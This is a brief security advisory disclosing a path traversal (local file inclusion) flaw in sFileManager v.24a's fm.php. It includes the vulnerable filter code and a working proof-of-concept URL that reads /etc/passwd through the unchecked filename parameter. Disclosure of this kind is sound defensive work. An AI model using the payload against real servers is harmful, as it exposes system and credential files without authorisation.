sFileManager 24a - Local File Inclusion

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sFileManager <= v.24a / Local File Inclusion Vulnerability
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$ Program: sFileManager
$ Version: <= v.24a
$ File affected: fm.php
$ Download: http://onedotoh.sourceforge.net/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org - www.pepelux.org

----- by the author -----
Simple File Manager (SFM) is a web based file management utility. It is designed to be 
used by those that don't want to use ftp or SHOULD NOT use ftp. It can be dropped into 
a specific directory and give access to that directory as well as any directory below 
it, including those created by SFM. It can be placed in a specific directory and 
configured to give access to other directories outside of its location (centralized). 
SFM gives its user upload, rename, delete, directory creation as well as directory 
navigation (within its tree limits), as well as Create New File; it also includes an 
image viewer, text viewer and mime type downloading. 
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-- BUG --
When you click to download a file there are two params:

http://www.host.com/fm.php?action=download&filename=file.txt&pathext=pub/&u=&copt=1&sortKey=0

action  = file to download
pathext = directory where the file is located


You can't do:
http://www.host.com/fm.php?action=download&filename=passwd&pathext=pub/../../../../etc/&u=&copt=1&sortKey=0

because in fm.php:

231 ... if (ereg("\.\./", $pathext)) {
232 ...     $hack="<font color=red><b>HACK ATTEMPT - SysOp Notified</b></font><p>";
233 ...     $pathext="";
234 ... }


but $action is not checked and you can do:
http://www.host.com/fm.php?action=download&filename=../../../../../etc/passwd&pathext=pub/&u=&copt=1&sortKey=0